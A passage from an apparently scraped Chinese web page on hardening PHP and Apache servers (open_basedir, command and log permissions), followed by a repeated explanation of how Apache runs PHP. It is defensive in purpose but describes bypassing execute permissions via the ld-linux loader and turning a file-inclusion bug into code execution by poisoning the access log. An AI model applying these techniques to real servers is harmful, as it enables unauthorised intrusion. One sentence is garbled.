這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,

2、去掉apache日誌其它用戶的讀許可權

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。

當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

Ⅶ 伺服器中apache(阿帕奇)是個什麼軟體,幹嘛用的

APACHE就是一個網路伺服器,這個伺服器偵聽一個TCP埠,一般是80,對埠收到的命令進行解釋,然後提交一些結果。APACHE解釋的最主要的命令就是GET和POST,一般對應客戶端在瀏覽器輸入地址、瀏覽器裡面點擊鏈接和提交一個表單。APACHE對GET和POST命令進行解釋的時候,如果GET和POST的對象是一個HTML、CSS、JS、RAR、TXT等一般文件,就直接把文件的內容發回客戶端;如果對象是一個PHP文件,APACHE就啟用PHP.EXE程序(UNIX上名稱不一樣,而且安裝為模塊的細節又有不同,這里只是舉例),把文件、調用的參數傳遞給PHP.EXE,然後把PHP.EXE執行的結果反饋給客戶端。
PHP可以調用各種庫執行各類功能,最典型的就是查詢資料庫。PHP.EXE解釋執行PHP文本文件裡面的語句,執行前一般不翻譯,就象批處理一樣。
APACHE可以配置多個類似PHP這樣的過濾器,凡是XXX類的文件,都提交給XXX.EXE執行,把執行完畢的內容發送給瀏覽器,其它文件直接發送。APACHE就這么簡單的、機械的執行。

Ⅷ 什麼是php,什麼是apache,他們怎麼工作

你的理解基本上正確。

APACHE就是一個網路伺服器,這個伺服器偵聽一個TCP埠,一般是80,對埠收到的命令進行解釋,然後提交一些結果。APACHE解釋的最主要的命令就是GET和POST,一般對應客戶端在瀏覽器輸入地址、瀏覽器裡面點擊鏈接和提交一個表單。APACHE對GET和POST命令進行解釋的時候,如果GET和POST的對象是一個HTML、CSS、JS、RAR、TXT等一般文件,就直接把文件的內容發回客戶端;如果對象是一個PHP文件,APACHE就啟用PHP.EXE程序(UNIX上名稱不一樣,而且安裝為模塊的細節又有不同,這里只是舉例),把文件、調用的參數傳遞給PHP.EXE,然後把PHP.EXE執行的結果反饋給客戶端。

PHP可以調用各種庫執行各類功能,最典型的就是查詢資料庫。PHP.EXE解釋執行PHP文本文件裡面的語句,執行前一般不翻譯,就象批處理一樣。

APACHE可以配置多個類似PHP這樣的過濾器,凡是XXX類的文件,都提交給XXX.EXE執行,把執行完畢的內容發送給瀏覽器,其它文件直接發送。APACHE就這么簡單的、機械的執行。

閱讀全文

與apache過濾body相關的資料

熱點內容
章丘區拉廢水多少錢 瀏覽:506
超濾膜過濾後的水為什麼更臟了 瀏覽:150
ro膜管區分純水 瀏覽:347
超濾管規格對應大小 瀏覽:772
600g的ro膜廢水是多少cc 瀏覽:830
宏宇拖拉機提升器 瀏覽:951
廢機油濾芯標識怎麼寫 瀏覽:876
凈水器蕊心怎麼換 瀏覽:299
污水管用什麼材質管子好 瀏覽:561
橫縣污水建設 瀏覽:201
環氧樹脂粉末品牌 瀏覽:315
反滲透膜在醫葯行業的應用 瀏覽:353
DTRO超濾膜 瀏覽:608
空氣凈化器怎麼清洗煤煙 瀏覽:581
飲水機里有綠色的東西是什麼牌子 瀏覽:471
純水機濾芯是什麼意思 瀏覽:285
污水泵一用一備浮球控原理圖 瀏覽:691
污水治理施工過程資料 瀏覽:984
超濾機排廢水排多久 瀏覽:811
99滴純水怎麼清洗 瀏覽:341